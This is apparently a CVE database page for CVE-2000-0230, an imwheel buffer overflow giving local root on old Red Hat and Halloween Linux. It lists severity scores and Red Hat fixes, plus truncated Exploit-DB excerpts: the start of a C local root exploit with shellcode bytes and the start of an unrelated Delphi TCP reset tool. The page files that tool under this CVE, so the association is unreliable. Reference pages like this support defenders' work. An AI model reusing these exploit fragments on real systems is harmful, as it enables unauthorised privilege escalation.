CVE-2000-0230
published 2000-03-13CVE-2000-0230: Buffer overflow in imwheel allows local users to gain root privileges via the imwheel-solo script and a long HOME environmental variable.
PriorityP423high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
0.92%
56.2th percentile
Buffer overflow in imwheel allows local users to gain root privileges via the imwheel-solo script and a long HOME environmental variable.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| halloween | halloween_linux | — | — |
| redhat | linux | — | — |
| redhat | linux | — | — |
CVSS provenance
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
vendor_redhat7.2HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-m8qj-v452-38v9: Buffer overflow in imwheel allows local users to gain root privileges via the imwheel-solo script and a long HOME environmental variable
ghsa_unreviewed·2022-04-30
CVE-2000-0230 [HIGH] GHSA-m8qj-v452-38v9: Buffer overflow in imwheel allows local users to gain root privileges via the imwheel-solo script and a long HOME environmental variable
Buffer overflow in imwheel allows local users to gain root privileges via the imwheel-solo script and a long HOME environmental variable.
Red Hat
security flaw
vendor_redhat·2000-03-13·CVSS 7.2
CVE-2000-0230 [HIGH] security flaw
security flaw
Buffer overflow in imwheel allows local users to gain root privileges via the imwheel-solo script and a long HOME environmental variable.
Statement: This issue was fixed in the following products:
- Red Hat Powertools 6.1 - RHSA-2000:016 (2000-04-21)
- Red Hat Powertools 6.2 - RHSA-2000:016 (2000-04-21)
No detection rules found.
Exploit-DB
Microsoft Windows XP/2000 - TCP Connection Reset
exploitdb·2004-04-22
CVE-2004-0230 Microsoft Windows XP/2000 - TCP Connection Reset
Microsoft Windows XP/2000 - TCP Connection Reset
---
{
AFX TCP Reset by Aphex
http://www.iamaphex.cjb.net
[email protected]
Compile with Delphi 5/6/7
}
program Project1;
{$APPTYPE CONSOLE}
uses
Windows;
type
TBufferArray = array[0..65535] of byte;
type
iph = record
ip_verlen: byte;
ip_tos: byte;
ip_len: word;
ip_id: word;
ip_offset: word;
ip_ttl: byte;
ip_protocol: byte;
ip_checksum: word;
ip_saddr: longword;
ip_daddr: longword;
end;
tcph = record
th_sport: word;
th_dport: word;
th_seq: longword;
th_ack: longword;
th_len: byte;
th_flags: byte;
th_win: word;
th_checksum: word;
th_upr: word;
end;
sb = packed record
sb1, sb2, sb3, sb4: char;
end;
sw = packed record
sw1, sw2: word;
end;
TInAddr = record
case integer of
0: (ssb: sb);
1: (ssw: sw);
2: (saddr: longint);
end;
TSock
Exploit-DB
Halloween Linux 4.0 / RedHat Linux 6.1/6.2 - 'imwheel' (1)
exploitdb·2000-03-13
CVE-2000-0230 Halloween Linux 4.0 / RedHat Linux 6.1/6.2 - 'imwheel' (1)
Halloween Linux 4.0 / RedHat Linux 6.1/6.2 - 'imwheel' (1)
---
// source: https://www.securityfocus.com/bid/1060/info
A vulnerability exists in the 'imwheel' package for Linux. This package is known to be vulnerable to a buffer overrun in its handling of the HOME environment variable. By supplying a sufficiently long string containing machine executable code, the imwheel program can be caused to run arbitrary commands as root. This is due to a setuid root perl script named 'imwheel-solo' which invokes the imwheel program with effective UID 0.
/*
* imwheel local root exploit [ RHSA-2000:016-02 ]
* funkysh 04/2000 [email protected]
*/
#include
#include
#define BUFFER 2070
#define NOP 0x90
#define PATH "/usr/X11R6/bin/imwheel-solo"
char code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x4
Exploit-DB
Halloween Linux 4.0 / RedHat Linux 6.1/6.2 - 'imwheel' (2)
exploitdb·2000-03-13
CVE-2000-0230 Halloween Linux 4.0 / RedHat Linux 6.1/6.2 - 'imwheel' (2)
Halloween Linux 4.0 / RedHat Linux 6.1/6.2 - 'imwheel' (2)
---
// source: https://www.securityfocus.com/bid/1060/info
A vulnerability exists in the 'imwheel' package for Linux. This package is known to be vulnerable to a buffer overrun in its handling of the HOME environment variable. By supplying a sufficiently long string containing machine executable code, the imwheel program can be caused to run arbitrary commands as root. This is due to a setuid root perl script named 'imwheel-solo' which invokes the imwheel program with effective UID 0.
/*** Halloween 4 local root exploit for imwheel-solo. Other distros are
*** maybe affected as well.
*** (C) 2000 by C-skills development. Under the GPL.
***
*** Bugdiscovery + exploit by S. Krahmer & Stealth.
***
*** !!! FOR EDUCATIONAL PURPOSES O
http://archives.neohapsis.com/archives/bugtraq/2000-03/0168.htmlhttp://www.redhat.com/support/errata/RHSA-2000-016.htmlhttp://www.securityfocus.com/bid/1060http://archives.neohapsis.com/archives/bugtraq/2000-03/0168.htmlhttp://www.redhat.com/support/errata/RHSA-2000-016.htmlhttp://www.securityfocus.com/bid/1060
2000-03-13
Published